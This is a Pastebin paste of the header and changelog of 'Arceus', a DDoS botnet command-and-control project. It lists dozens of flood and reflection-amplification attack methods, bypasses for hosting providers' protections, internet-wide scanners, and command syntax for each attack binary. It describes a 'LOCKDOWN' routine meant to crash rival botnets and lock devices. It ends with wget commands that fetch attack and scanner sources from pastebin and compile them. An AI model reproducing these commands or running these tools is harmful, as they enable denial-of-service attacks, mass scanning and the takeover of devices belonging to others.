Advertisement
Guest User

Arceus II

a guest
Nov 20th, 2019
6,373
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 250.02 KB | None | 0 0
  1. /*
  2. ╔═════════════════════════╗
  3. ║ Arceus I ║ ╔═════════════════════════╗
  4. ║ --- ║ ║ ARCEUS I : BETA ║
  5. ║ GL3.0 ║ ╚═════════════════════════╝
  6. ║ 666 ║
  7. ╚═════════════════════════╝
  8.  
  9. ╔════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
  10. ║ THIS VERSION WILL 'NOT' BE RELEASED TO THE PUBLIC DUE TO THE REDUNDANT ABUSE FROM THE COMMUNITY USING CYBER CYBER-WARFARE WEAPONS SUCH AS THIS.║
  11. ║ IF YOU ARE ABLE TO GET 'YOUR' HANDS ON THIS, PLEASE RESPECT THE AUTHORISATION AND WORK THE DEVELOPERS HAVE PUT INTO THIS SOURCE / PROJECT BETA.║
  12. ╠═════════════════════════════════════════════════════════════════╦══════════════════════════════════════════════════════════════════════════════╣
  13. ║ LICENSING : GNUV3 [GNU GENERAL PUBLIC LICENSE VERSION 3.0] ║ PROJECT ARCEUS IS A C2 SOURCE USING A CHANNEL CONNECTION TO RUN A DISPLAY ║
  14. ║ VALID : 03/23/19 ║ SCREEN ON THE CONNECTION STATED VIA THE PORT 'SCREENED' TO. THIS PROJECT ║
  15. ║ EXPIRY : 03/23/22 ║ HAS CERTAIN DEPENDENCIES IN ORDER TO PROPERLY COMPLY WITH EACH ADMIN USING ║
  16. ║ -- ║ ARCEUS. WE ARE IN NO JEOPARDY IF YOU ARE CAUGHT BY ANY MEANS. MEANING ANY ║
  17. ║ STATE : PRIVATE ║ TYPE OF AUTHORITY, THIS APPLIES TO POSSESSION AND USAGE OF THIS PROJECT. ║
  18. ║ OWNERSHIP : N/A ║ -- ║
  19. ║ NAME : ARCEUS I ║ THIS PROJECT WAS DESIGNED BOTH FOR ME AND JACK'S' USAGE ONLY. THIS WORK IS ║
  20. ║ -- ║ UNDER 2 COUNTS OF LICENSING. SPECIFICALLY GNU AS WELL AS A PRIVATE PATENTING ║
  21. ║ CCR : XXX-223-389 ║ UNDER MY OWN DIVISION. NO COVERED WORK SHALL BE DEEMED PART OF AN EFFECTIVE ║
  22. ║ CIPHER : SHA-512 , AES-BYTE , CIPHER-TLS ║ TECHNOLOGICAL MEASURE UNDER ANY APPLICABLE LAW FULFILLING OBLIGATIONS UNDER ║
  23. ║ GH-ID : ZCH-CRI.SUCC ║ ARTICLE 11 OF THE WIPO COPYRIGHT TREATY ADOPTED ON 20 DECEMBER 1996, OR ║
  24. ║ -- ║ SIMILAR LAWS PROHIBITING OR RESTRICTING CIRCUMVENTION OF SUCH MEASURES. ║
  25. ║ OBJ-TYPE : C2 SOURCE X TELNET LAYER ║ -- ║
  26. ║ VSSH : N/A ║ YOU MAY CONVEY A COVERED WORK IN OBJECT CODE FORM UNDER THE TERMS OF SECTIONS║
  27. ║ OS_TYPE : CENT_OS [6] - [7] ║ 4 AND 5, PROVIDED THAT YOU ALSO CONVEY THE MACHINE-READABLE CORRESPONDING ║
  28. ║ -- ║ SOURCE UNDER THE TERMS OF THIS LICENSE. ║
  29. ║ BUILD : BETA [RELEASE BEFORE VERSION I] ║ -- ║
  30. ║ DESC : NET-WSS ║ ║
  31. ║ PRJ-VAS : 6949-3853-9891 ║ THIS CODE WAS FOUNDED AND CREATED BY BOTH TRANSMISSIONAL AND FLEXINGONLAMERS.║
  32. ║ -- : ║ WE HAVE THE ENTITLED AND ORIGINAL RIGHTS TO EDIT OR UPGRADE THIS FUNCTIONAL ║
  33. ║ -- : ║ CODE. ║
  34. ║ DEV-ALIAS : TRANSMISSIONAL / FLEXINGONLAMERS ║ YOURS TRULY, ZACH, TRANSMISSIONAL ║
  35. ╚═════════════════════════════════════════════════════════════════╩══════════════════════════════════════════════════════════════════════════════╝
  36.  
  37.  
  38. Another project me and jack have decided take on after a break of coding project 'Katura'
  39. This new project is designed to fulfil the potential of a C2 source, outcompeting other C2 sources.
  40. We have decided to try to recreate this source into such a tool where it will completely put
  41. 'Mirai' RCE-WGET exploitation to complete shame.
  42.  
  43. This will be a continuous and ongoing project. We are hoping to soon create this into something that
  44. exceeds the capabilities that are set by other developers creating such 'cyber-warfare' tools
  45. as this.
  46.  
  47. ---
  48.  
  49. Both me and Jack, Have the certain capabilities to create something so unique and better, through
  50. the use of combined networking and programming knowledge.
  51.  
  52. This is a challenge both me and Jack, have decided to take on.
  53.  
  54. Till next time.
  55. ___________________________________________________________________________________________________
  56. ╔════════╗
  57. ║BETA - 1║
  58. ╚════════╝
  59. Created C2 Base || Process Terminator
  60. Added: AddUserFunction || Added UserAccounts || Added Alternative Chatroom Source || Added Functional Arch Detector (working on it, bc is broken)
  61. Added: Added Portscanner || Added IPGeolocation
  62. Added: Functional Logs, Includes ["IP", "Error", "LogOut", "Shell", "server"]
  63. Added: UserID(s) || MD5Format For User Information
  64. =========================
  65. ╔════════╗
  66. ║BETA - 2║
  67. ╚════════╝
  68. Managed Bot/Client
  69. Added New Layer4 UDP Methods Including ["STOMP", "HOME", "RAID"]
  70. Added New Layer4 TCP Methods Including ["TCP-CRI", "TCP-ZACH"]
  71. Added: Arch Detector via ["x86_64", "x86_32", "Arm4", "Arm5", "Arm6", "Arm7", "Mips", "Mipsel", "Sh4", "Ppc", "spc", "M68k", "Arc"]
  72. Added: Distro Detector via ["Ubuntu/Debian", "Gentoo", "REHL/Centos", "Open Suse"]
  73. Added: DevType via ["Python", "python3", "perl"]
  74. Added: Port Detector that dignifies Device Type via ["telnet", "ssh"] etc
  75. =========================
  76. ╔════════╗
  77. ║BETA - 3║
  78. ╚════════╝
  79. Managed C2/CnC
  80. Added: Logging via ["Arceus_Shell.log", "Arceus_IP.log", "Arceus_Connection.log", "Arceus_Logout.log", "Arceus_Error.log"] // We are logging username commands, IPs, errors, shell attempts, and User Log-Outs
  81. Added: Edits to (HELP) Including ["INFO", "BOTS"]
  82. Color Codes were only Inputed for the Katura_IP.log || Now being inputted for the connection handler via screen
  83.  
  84. IPLookup Script And Snippet taken from "Cayosin", credits to the original developer of both the script and snippet of code.
  85. =========================
  86. ╔════════╗
  87. ║BETA - 4║
  88. ╚════════╝
  89. Added IPHM Implementation > IP-Header Based methods now working.
  90. Added Methods: ["LDAP", "NTP", "SSDP", "TFTP", "PORTMAP"]
  91. Added New functions, including an external SSH Scanner which uses IPBlocks based by country.
  92. Also added alternative functions for Banning, {We are using IPTables to ban users via IP}
  93. =========================
  94. ╔════════╗
  95. ║BETA - 5║
  96. ╚════════╝
  97. Added IPHM Extensions for the following methods: ["LDAP", "SSDP", "NTP", "TFTP", "PORTMAP"]
  98. Added IPHM Scanners for the methods above.
  99. Added process killers for all methods and scanners based over IPHM
  100. Added External Scanner and IPBan system using IPTables
  101. Added SystemDetection Into Client (We are displaying system type) via: ["Linux", "windows", "android"]
  102. Added External Installation Script for IPHM Downloads. includes scanners and attack scripts. command = .install
  103. =========================
  104. ╔════════╗
  105. ║BETA - 6║
  106. ╚════════╝
  107. Added: new substrate format for SCKT_V2
  108. Added: a new custom 'LD_KERNEL' preload using a prime buffer size
  109. Added: New Char Injection method using Katura's binary execution system
  110. Added: & Patched all attack output ASCII as well as grammar
  111. Added: NetworkDelimiter, Allows screen to be more stable !
  112. Added: SPECIAL Attacks : ["ZCH-WSS, "STL-BOO", "EFT-PWR", "PMP-PMP","ZCH-CRI"]
  113. Added: New IPHM Based Methods (Yubina Collection); ["prowin", "syn9", "winseqid", "winsyn"]
  114. Added: New Process Killer for ALL IPHM Based methods.
  115. Added: Seperate commands for installing scanners and attack scripts.
  116. Added: New Methods To IPHM Banners, also changed the main menu and added {.iphm};
  117. Added: Seperate Section for scanners. (under Admin menu); Changed command from {.next} to {.scanners}
  118. Fixed: Reply message for all IPHM Based attacks, now showing each method and kill command.
  119. Fixed: all menus, added new options, and changed main menu.
  120. Added: new methods to IPHM Menu: ["rawudp", "rawstd", "ovhbypass", "nfobypass", "cfbypass"]
  121. Added: new process killer for all scanners and scripts. external file: Process_Killer.py
  122. Method OVHBYPASS = xDoS
  123. Method NFOBYPASS = RAWUdp
  124. Method CFBYPASS = CF_BYPASS
  125. Method BO4BYPASS = xts3
  126. =========================
  127. ╔════════╗
  128. ║BETA - 7║
  129. ╚════════╝
  130. Additions:
  131. Added: New BW Based methods: ["DOMINATE", "VSE", "TELNET", "TCPABUSE", "UDPABUSE", "DOMINATE", "ESSYN", "CSYN", "ZSYN", "XSYN", "ISSYN"]
  132. Added: New Reflection Based Methods: ["CHARGEN", "SENTINEL", "NETBIOS", "MSSQL", "TS3"]
  133. Added: New Bypass Based Methods: ["XTS3/BO4BYPASS"]
  134. Added: New Process_Killer seperately for Scanners || This is external!
  135. Added: All New Methods to IPHM_Installer || install.py
  136. Added: New Menu for {.iphm} || New methods added!
  137. Added: New Snippets / Attack commands for new methods! || Also added new "Attack.Banners" for new methods.
  138. Added: New methods to Process_Killer
  139. Added: Section for links to all files! (Should be below all of these updates)
  140. Added: Following Linux Distros to DistroDetector in client/bot: ["Fedora", "Redhat", "Arch", "FreeBSD"]
  141. Added: Full section with Installation Logs, Usage Logs, and Compilation Logs for All IPHM Based Methods
  142. Added: new filepaths for all IPHM based files. Location: /root/amp/; all paths listed below the installs.
  143. Added: new filepaths for ALL external based files. paths: scripts="/root/scripts/" C2="/root/c2" BOT="/root/bot/" IPHM="/root/amp/"
  144. Fixed: Process_Killer For IPHM Based Methods || Now kills ONLY attack processes instead of scanners!
  145. Fixed: Source Size: All menus are now 1 line. lmfao
  146. Fixed: Defined STD_SIZE: Noticed issue inside of client, (I defined the default packet size for STD as 1460) -
  147. (When using HEX it calls to STD and uses it to send the attack, whilst adding PacketSize for username input) -
  148. (It goes to read the username input for packetsize but it can not be done due to STD Packetsize being defines by default) -
  149. (commented out std def and added packetsize to HEX) - (Better exp below)
  150. since trim_integer defined the packetsize by default, trim_integer had to change STD up and switch it from (std_size) to (Packetsize) and limited certain methods inside of the pcm to use the
  151. defined default for packet size giving users the chance to change the packet size to whatever they desire inside of Method: HEX
  152. Changed STD Strings to make attacks more effective
  153. Redefined Default PacketSize for STD - Using for certain methods: Mainly STD alone
  154. Removed: IPHM Based Methods: ["rawudp", "rawstd"] - Replaced with: ["UDPABUSE", "TCPABUSE"]
  155. Removed: First menu for process killer (Wasnt showing on screen and was fucking with the tsc)
  156. Removed: UserID(s) || MD5Format For User Information || Update: 1
  157. Removed: UserInfo /UserInformation Menu || Update: 4
  158. Removed: All extra scanner process killer commands > all now in one command < runs IPHM_Scanner_Proces_Killer.py
  159. Removed: DistroDetection for OS's: ["Redhat", "Arch", "FreeBSD", "Fedora"]
  160. Creating method `LOCKDOWN` || This is fucked.
  161. `LOCKDOWN` Explained: Lockdown Logs all device connections. Connects to those devices, reads connections, spams those servers with connections causing all transmitted_successfully C2's to crash
  162. then kills all connections and removes traces of files, and alternatives. locks the device with a 49 character password, re-roots the device twice and closes the connection.
  163. Created Process_Killer for all IPHM Based Scanners
  164. Created Process_Killer for all IPHM Based Attacks
  165. Created New IPHM Installer for all attack scripts and Scanners
  166. =========================
  167. ╔════════╗
  168. ║BETA - 8║
  169. ╚════════╝
  170. Added: VIP Users
  171. Added: VIP Only access to zachs custom methods
  172. Added: Logging Directory for all .log files. || This includes the following: ["Arceus_Logout.log", "Arceus_IP.log", "Arceus_Connection.log", "Arceus_C2.log"]
  173. Added: Directories for all files. (Instead of using root dir for all files we are using subdirs!)
  174. Added: New Process Killer for IPHM. files include the following: ["IPHM_Attack_Process_Killer.py", "IPHM_Scanner_Process_Killer.py"]
  175. Added: Methods to the IPHM AutoInstaller: (Zach's Methods): ["hun-fun", "ass-crk", "eft-pwr", "pmp-pmp", "zch-cri"]
  176. Added: New Banner for Failed User logins: Old="Login Error!\r\nIf you run into this issue please contact the owner!"
  177. (Working On New Arch Detector which works via C2 - We are reading Device types!)
  178.  
  179. Zach > Read the "exp.txt" within this folder < it explains what all of the directories are for, thanks <3
  180. =========================
  181. ╔════════╗
  182. ║BETA - 9║
  183. ╚════════╝
  184. Added: introducing substrate v4, now uses EPOLL to create dynamic_socket library
  185. Added: arceus_substrate_device_data_v4, we will soon create an arch detection off of this.
  186. Added: arceus_substrate_telnet_data_v4, our own very first telnet transmission system
  187. Added: socket_interpretation_block_v1, now kills off new socket if a new port is being screened
  188. Added: trim_remove2, this is a better modified version of trim, a lot more effective, this should help with dual variable parsing
  189. Added: socket_intepretation_modified, now saves client_address info -> save file_content system
  190. Added: arceus_broadcast -> now saves the broadcast_data_psl so output is faster to broadcast
  191. Added: SUCC/FUCC V3, instead of using ping/pong v1, just seems to fail on each network launch
  192. Added: arc_substitute added, for substrate compatibility, will be removed once socket_bind_bypass has been created for arc_10
  193. Added: arceus' into sprintf data output, for ASCII, this replaces 'botnet'
  194. Added: clear_arceus_broadcast now restores all ASCII to broadcast a lot faster, increased network usage too
  195. Added: arceus_file_searcher_v3, now searches [arceus.txt] without creating any other subprocesses [memory based]
  196. Added: new IP format state : (addr.sin_addr.s_addr & 0xFF00) >> 8,(addr.sin_addr.s_addr & 0xFF0000) >> 16,(addr.sin_addr.s_addr & 0xFF000000) >> 24);
  197. Added: arceus_client_address, automatically formats using '0xFF0'
  198. Added: port 64121 for attack port, instead of port 80.. seems heavily filtered for obvious reasons
  199. Added: changed device names, just makes it easier for brand new arch detection in next update
  200. Added: socket_interpretation_II, now fully into effect, extremely fast.. huge difference in speed
  201. Added: added systematic variable names, all modified so no code cannot be leeched
  202. Added: increased error handling output for all 'perror' outputs. may help with arch detection and device data
  203. Added: dword alternative for all unsigned_integers incase we want a set number (just incase number work gets a little tricky)
  204. Added: file descriptor alternative size, so network and CPU usage is kept to a minimum once mass attacks come into play.
  205. Added: created files for custom attack methods and created commands
  206. Added: successful_transmission - this will show if a client has successfully connected to our screen hosted on another port
  207. Added: bindinginterpreter - this should minimise binding errors using non_block_socket
  208. Added: buffer_size_string_compare, this compares the buffer size to each string to stop data allocation from possibly breaking
  209. Added: trim_integer, this is so delimiters will not cause a problem between the parsed data, ie : the ASCII output
  210. Added: arceus_buffer_size, this is now dependent on memset, stable data allocation, although, not full tested yet..
  211. Added: decreased char sizes of each individual integer or data type.. less network usage in the screen.. also not tested
  212. Added: added ASCII box around the includes, just to tidy stuff up.. makes it look neat instead of the use of slashes
  213. Added: fixed jack's grammar because it extremely annoys me, due to my precise use of language
  214. Added: struct names have been reduced and changed
  215. Removed: substratev3's old socket usage
  216. Removed: substrate_device_data_v3 - this has been replaced with a better and newer version
  217. Removed: substrate_telnet_data_v3 - this has been replaced with a better and newer version
  218. Removed: ping/pong v1 transmission system - too slow, so i created my own version of it.
  219. Removed: client_data_t - it was uneeded for substrate
  220. Removed: telnetWorkerv1 - this has also been removed from substrate
  221. Removed: integer called 'botnet' - replaced with 'arceus'
  222. Removed: value called 'thefd' <- everyone uses the same variable name..
  223. Removed: deluser function, this will be added into the newer version, currently causing certain compilation errors, just need to make sure each build compiles
  224. Removed: definition for 'MAXFDS' we already had it defined before so there was no need to keep another value just for file descriptors.
  225. Removed: find_line, as we have implemented it into 'arceus_file_searcherv3'
  226. Removed: definition for 'Allies' there is no need for it
  227. Fixed: ASII banner for help, some lines were out of place.
  228. Fixed: Attack outputs, due to my laziness of using ctrl+h to replace certain variable names
  229. Fixed: Developer credit text, Just made them parallel with each other
  230. Fixed: arch_detection_data = this should allow me to fix the arch detection in the next beta-build of arceus.
  231. Fixed: trim_removev2, now only removes certain characters, it shouldn't trim off user input now
  232. Fixed: buffer_size, some functions were not being outputted as the buffer size was set too low..
  233. Fixed: resolver function, just a minor tweak to the user-agent that is sent to the API.
  234. Updated: substrate_device_data - now char's each individual device seperately, also creates an unsigned_int for the IP
  235. Updated: substrate_telnet_data - proposes a better output system by setting the IP and 'transmitted_successfully' variables for max_file_descriptor value
  236. Updated: arceus_broadcast - now uses SUCC/FUCC V3 instead of the default socket usage 'ping/pongv1'
  237. Updated: trim function now renamed to 'trim_removev2' - doesn't trim off user input
  238. Updated: arceus_file_searcher - now uses more checks, increases the c2's security
  239. =========================
  240.  
  241. ╔═════════╗
  242. ║BETA - 10║
  243. ╚═════════╝
  244. Added: New IPHM_Scanner_Process_Killer || IPHM_Attack_Process_Killer
  245. Added: Second Page for IPHM Based Attack methods
  246. Added: New methods to the IPHM_Method_Installer || This includes Zachs `custom` methods
  247. Added: New Arch Detection || Arch Display for device type/count
  248. Added: Test Function for new Subdomain/DNS scanner
  249. Added: New `ERROR` Menu for failed logins.
  250. Added: New Load_Banner for the main banner. (Startup) - testing
  251. Added: New scanners inside of the "scanners" menu.
  252. Added: VIP Menu for VIP Users
  253. Added: New banner for Admin/VIP Failure (If the user is not admin and or VIP and they go to use a command meant for those accounts, it will display the new banner)
  254. Added: Port Input for all IPHM Based methods in which allow it
  255. Added: New Logs for ["Compilation_Logs", "Attack_Scripts", "Scanners", "Script_Usages"] || This is for IPHMV2 Menu {.iph2}
  256. Added: Seperate Directories for each file. Explenation below.
  257. Added: New Device Based Methods Via: ["VSE", "SMITE", "HOLD", "HEX", "CRASH", "HOME", "RAID"]
  258. Added: New IPHM Based Methods Via: [" "]
  259. Added: New attack outputs for IPHM Based methods (We are displaying IP, PORT, TIME, METHOD, USAGE, THREADS, PPS)
  260. Added: New attack outputs for Device Based methods.
  261. Added: Manual port input for all IPHM Based Methods || Port input coming soon
  262. Added: All new IPHM Based methods for IPHM Menu v2 {.iph2} || this includes the following:
  263. Added: New sub-directories for all IPHM-Reflection based methods: files have own directories
  264. Added: New sub-directory file paths for all IPHM-Reflection Based methods
  265. Added: New IPHM Scannable Methods Via: ["dns", "mdns", "db2", "arceus", "echo", "snmp", "memcache", "rip", "heartbeat]
  266. Added: New IPHM Bandwidth methods (Tcp-collection): ["TCP-AMP", "TCP-RST", "TCP-FIN", "TCP-XMAS", "TCP-ACK"]
  267. Added: New IPHM Bandwidth Methods (Extra Methods III): ["grenade", "zap", "rawudp", "bogus", "wizard"]
  268. Added: New IPHM Bandwidth Methods (Extra Methods VI): ["UDP_VSE", "UDP_VSE2", "EJUNK"]
  269. Added: New IPHM Bandiwdth Methods (Layer7 Methods I): ["OMEGA", "ARME"]
  270. Added: New IPHM Directories for "layer7" and "layer4" methods:
  271. Added: New VIP Section in `.ipm2` / IPHM Menu v2 || These methods are Combos in which use several methods to send attacks to the desired users inputted IP/HOST
  272. Added: Owner accounts (Owner access)
  273. Added: New "CNC" Tool, this allows users to send an `attack` to another cnc causing it to overload. basically just raises the usercount and crashes the screen lol
  274. Fixed: IPHM_Process_Killer's for both `Attack` and `Scanner`
  275. Fixed: Admin Menu. Now only administrators can view this.
  276. Fixed: Attack_Process_Killer || Command was switched to ".killattk" and is now back to its original state as ".kill" lower and CAPS
  277. Removed: SSH/ZONE MassScan || Not Needed (Adding an upgraded version soon)
  278. Updated: the entire main menu
  279. Updated: the entire help menu
  280. Updated: the entire admin menu
  281. Updated: the entire .iphm menu
  282. Updated: all of the defines in beta version 10 > look below (:
  283.  
  284. Combo Explenation:
  285. msqdnm = MDNS and MSSQL (GREAT FOR OVH)
  286. tfdnp = TFTP and MDNS (also great for ovh)
  287. lndp = NTP and LDAP
  288.  
  289. Small explenation on files and directories.
  290. ==================================================
  291. Directories needed:
  292. c2, bot
  293. ==================================================
  294. inside of the c2 folder you will need the following folders. || The IPHM_Method_Installation Script should make the `AMP` dir when ran
  295. scripts, logs, amp,
  296. ==================================================
  297. inside of the amp folder you will need the following folders. || The IPHM_Method_Installation Script should make these when ran
  298. methods, lists, scanners
  299. ==================================================
  300. inside of the methods folder you will need the following folders. || The IPHM_Method_Installation Script should make these when ran
  301. Bandwidth, Reflection
  302. ==================================================
  303. for the (amp) folder, the install.py should set it up on its own and make all of the directories for such on its own.
  304. ==================================================
  305. files needed inside of (bot) folder.
  306. bot.c Arceus.py
  307. ==================================================
  308. Files needed inside of (c2) folder.
  309. Arceus.c, arceus.txt, IPHM_Method_Installation.py, resolver.h
  310. ==================================================
  311. Files needed inside of (c2/scripts) folder.
  312. IPHM_Attack_Process_Killer.py, IPHM_Scanner_Process_Killer.py, scan.py
  313.  
  314. if this helps < here ya go
  315. mkdir c2; mkdir bot; cd c2; mkdir logs; mkdir scripts
  316. ==================================================
  317. the "resolver.h" is a C-Header and is included whithin the c2 source itself. THIS IS NEEDED IN ORDER TO COMPILE SAID FILE.
  318. the "IPHM_Method_Installation.py" is the IPHM Script installer, this is needed in the c2 directory. mainly because since we are inside of the c2 dir
  319. we can not push back to run things, and it would make it impossible to run the files off of the c2, so we have to call to the amp/methods/ folder inside of the c2 dir.
  320. the "arcues.txt" is our login file. should look like this: Jack root admin || Input: <Username> <Password> <Level> || levels="admin","normal","vip"
  321. the "IPHM_Attack_Process_Killer.py" is our IPHM Attack Process killer. just makes it easier to kill shit.
  322. the "IPHM_Scanner_Process_Killer.py" is our IPHM Scanner process killer. just makes it easier to kill shit.
  323. the "scan.py" is our SSH Scanner. scans IP Blocks AutoMatically. pretty dank.
  324. NEW:
  325. the "wget.py" is our installation script. this install the process killers, and extra shit we need to kill everything and run smoothly c:
  326. ==================================================
  327. Inside of the /c2/amp/methods/reflections/ Directory we are now making directories for all scannable/Reflection Based Methods: the install script does this on its own
  328. ==================================================
  329. Developers:
  330. IPHM_Attack_Process_Killer - Created By Cri
  331. IPHM_Scanner_Process_Killer - Created By Cri
  332. IPHM_Attack_Process_Killerv2 - Created By Cri
  333. IPHM_Scanner_Process_Killerv2 - Created By Cri
  334. install.py - Created By Cri
  335. IPHM_Method_Installationv2.py - Created By Cri
  336. Reaper Attack Script - Created By Cri
  337. Reaper Scanner Script - Created by Cri
  338. Arceus Attack Script - Created By Cri
  339. Arceus Scanner Script - Created by Cri
  340. Arc Method - Created By Cri
  341. wget.py - Created By Cri
  342. scan.py - Created By Cri
  343. Arceus.py - Created By Cri
  344. bot.c - Created By Cri
  345. Arceus I (1-8) - Created By Cri
  346. Arceus I (10) - Created By Cri
  347. cncv2.py - Created by cri
  348. lockdown.c - Created by cri
  349. (All logs and directory changes) - Created By Cri
  350. ===================================================
  351. Arceus I (9) - Created By Zach
  352. HUN-FUN Attack Script - Created By Zach
  353. ASS-CRK Attack Script - Created By Zach
  354. EFT-PWR Attack Script - Created By Zach
  355. PMP-PMP Attack Script - Created By Zach
  356. ZCH-CRI Attack Script - Created By Zach
  357. ===================================================
  358. resolver.h - Unsure
  359. iplookupapi.php - Created By Snickers
  360. ==================================================
  361. ╔═════════════════════════════════════════════════════════╗
  362. ║ Arceus I - Compilation logs - Attack Scripts - Scanners ║
  363. ╚═════════════════════════════════════════════════════════╝
  364. # LDAP - 0 Error Logs - 0 Warning Logs || Compile Success! || LDAPSCAN - 0 Error Logs - 3 Warning Logs || Compile Success!
  365. # SSDP - 0 Error Logs - 0 Warning Logs || Compile Success! || SSDPScan - 0 Error Logs - 3 Warning Logs || Compile Success!
  366. # NTP - 0 Error Logs - 0 Warning Logs || Compile Success! || NTPScan - 0 Error Logs - 3 Warning Logs || Compile Success!
  367. # CHARGEN - 0 Error Logs - 0 Warning Logs || Compile Success! || CHARGENSCAN - 0 Error Logs - 5 Warning Logs || Compile Success!
  368. # SENTINEL - 0 Error Logs - 0 Warning Logs || Compile Success! || SETNINTELSCAN - 0 Error Logs - 3 Warning Logs || Compile Success!
  369. # NETBIOS - 0 Error Logs - 0 Warning Logs || Compile Success! || NETBIOSSCAN - 0 Error Logs - 3 Warning Logs || Compile Success!
  370. # MSSQL - 0 Error Logs - 0 Warning Logs || Compile Success! || MSSQLSCAN - 0 Error Logs - 3 Warning Logs || Compile Success!
  371. # TS3 - 0 Error Logs - 0 Warning Logs || Compile Success! || TS3SCAN - 0 Error Logs - 3 Warning Logs || Compile Success!
  372. # PORTMAP - 0 Error Logs - 0 Warning Logs || Compile Success! || PORTMAPSCAN - 1 Error Logs - 0 Warning Logs || Using New portmap Scanner! Results: 0 Error Logs - 3 Warning Logs || Compile Success!
  373. # TFTP - 0 Error Logs - 0 Warning Logs || Compile Success! || TFTPSCAN - 1 Error Logs - 3 Warning Logs || Using New TFTP Scanner! Results: 1 Error Logs - 3 Warning Logs || Compile Fail ):
  374. # TELNET - 0 Error Logs - 0 Warning Logs || Compile Success!
  375. # VSE - 0 Error Logs - 0 Warning Logs || Compile Success!
  376. # DOMINATE - 0 Error Logs - 0 Warning Logs || Compile Success!
  377. # ZSYN - 0 Error Logs - 0 Warning Logs || Compile Success!
  378. # XSYN - 0 Error Logs - 0 Warning Logs || Compile Success!
  379. # CSYN - 0 Error Logs - 0 Warning Logs || Compile Success!
  380. # ESSYN - A couple thousand errors.. DO NOT COMPILE, must use as Raw C File and set permissions
  381. # ISSYN - A couple thousand errors.. DO NOT COMPILE, must use as Raw C File and set permissions
  382. ==================================================
  383. ╔══════════════════════════════════════════════════════╗
  384. ║ Arceus I - Script Usages - Attack Scripts - Scanners ║
  385. ╚══════════════════════════════════════════════════════╝
  386. ###############
  387. # Ok, so trim_integer suggest using -1 for all IPHM based methods < pps should = -1
  388. # Also, when scanning, make sure to set the $delay to 1ms || $IPSTART is the beginning IPRange Ex: 0.0.0.0 || $IPEND is the finish_integer IPRange Ex: 255.255.255.255 || This will scan everything!
  389. ###############
  390. # LDAP: ./ldap $IP $PORT $LIST $THREADS $PPS $TIME || LDAPSCAN: ./ldapscan $IPSTART $IPEND $LIST $THREADS $DELAY
  391. # SSDP: ./ssdp $IP $PORT $LIST $THREADS $PPS $TIME || SSDPSCAN: ./ssdpscan $IPSTART $IPEND $LIST $THREADS $DELAY
  392. # NTP: ./ntp $IP $PORT $LIST $THREADS $PPS $TIME || NTPSCAN: ./ntpscan $IPSTART $IPEND $LIST $THREADS $DELAY
  393. # CHARGEN: ./chargen $IP $PORT $LIST $THREADS $PPS $TIME || CHARGENSCAN: ./chargenscan $IPSTART $IPEND $LIST $THREADS $DELAY
  394. # SENTINEL: ./sentinel $IP $PORT $LIST $THREADS $PPS $TIME || SENTINELSCAN: ./sentinelscan $IPSTART $IPEND $LIST $THREADS $DELAY
  395. # NETBIOS: ./netbios $IP $PORT $LIST $THREADS $PPS $TIME || NETBIOSSCAN: ./netbiosscan $IPSTART $IPEND $LIST $THREADS $DELAY
  396. # MSSQL: ./mssql $IP $PORT $LIST $THREADS $PPS $TIME || MSSQLSCAN: ./mssqlscan $IPSTART $IPEND $LIST $THREADS $DELAY
  397. # TS3: ./ts3 $IP $PORT $LIST $THREADS $PPS $TIME || TS3SCAN: ./ts3scan $IPSTART $IPEND $LIST $THREADS $DELAY
  398. # PORTMAP: ./portmap $IP $PORT $LIST $THREADS $PPS $TIME || PORTMAPSCAN: ./portmapscan $IPSTART $IPEND $LIST $THREADS $DELAY
  399. # TFTP: ./sentinel $IP $PORT $LIST $THREADS $PPS $TIME || SENTINELSCAN: its broken :/ ive tried 3 different versions LMFAO
  400. # PROWIN: ./prowin $IP || Note this attack does not stop on its own, MUST KILL PROCESS!
  401. # WINSYN: ./winsyn $IP || Note this attack does not stop on its own, MUST KILL PROCESS!
  402. # WINSEQID: ./winseqid $IP || Note this attack does not stop on its own, MUST KILL PROCESS!
  403. # YUBINA: ./yubina $IP || Note this attack does not stop on its own, MUST KILL PROCESS!
  404. # OVHBYPASS: ./ovhbypass $IP $PORT $TIME UDP || Source has 2 diffent methods: UDP and HTTP < we are using UDP
  405. # NFOBYPASS: ./nfobypass $IP $PORT
  406. # CFBYPASS: php CF_Bypass $URL $LIST $THREADS $TIME || Needs a proxy list || Url must be http://SITE/ or https://SITE/
  407. # BO4BYPASS: ./bo4bypass $IP $PORT $PPS $TIME
  408. # VSE: ./vse $IP $THREADS $PPS $TIME
  409. # DOMINATE: ./dominate $IP $PORT $THREADS $PPS $TIME
  410. # TELNET: ./telnet $IP $THREADS $PPS $TIME
  411. # TCP_ABUSE: ./tcp_abuse $IP $PORT $THREADS $PPS $TIME
  412. # UDP_ABUSE: ./udp_abuse $IP $PORT $THREADS $PPS $TIME || SO this method is a server suspended, apparently you can go after ranges this is the optional input: ./udp_abuse $IP $PORT $THREADS $PPS $TIME $STARTIP $ENDIP
  413. # CSYN: ./csyn $IP $PORT $THREADS $PPS $TIME
  414. # XSYN: ./xsyn $IP $PORT $THREADS $PPS $TIME
  415. # ZSYN: ./zsyn $IP $PORT $THREADS $PPS $TIME
  416. # ISSYN: ./issyn.c $IP $PORT $THREADS $PPS $TIME
  417. # ESSYN: ./essyn.c $IP $PORT $THREADS $PPS $TIME
  418. ==================================================
  419. Installs I:
  420. ==================================================
  421. Scannable Methods I:
  422. wget -q https://pastebin.com/raw/cRt6CBpb -O ldap.c && gcc -o ldap ldap.c -pthread
  423. wget -q https://pastebin.com/raw/Yy7MrvmU -O ldapscan.c && gcc -o ldapscan ldapscan.c -pthread
  424. wget -q http://pastebin.com/raw/vpbXuKVA -O ssdp.c; gcc -o ssdp ssdp.c -pthread
  425. wget -q http://pastebin.com/raw/7uNYKs4c -O ssdpscan.c; gcc -o ssdpscan ssdpscan.c -pthread
  426. wget -q http://pastebin.com/raw/PJeYk4Bc -O ntp.c; gcc -o ntp ntp.c -pthread
  427. wget -q http://pastebin.com/raw/XWFfm5hh -O ntpscan.c; gcc -o ntpscan ntpscan.c -pthread
  428. wget -q http://pastebin.com/raw/Kktvq2pz -O chargen.c; gcc -o chargen chargen.c -pthread
  429. wget -q http://pastebin.com/raw/FpeqRp6K -O chargenscan.c; gcc -o chargenscan chargenscan.c -pthread
  430. wget -q http://pastebin.com/raw/jmPdAPPM -O sentinel.c; gcc -o sentinel sentinel.c -pthread
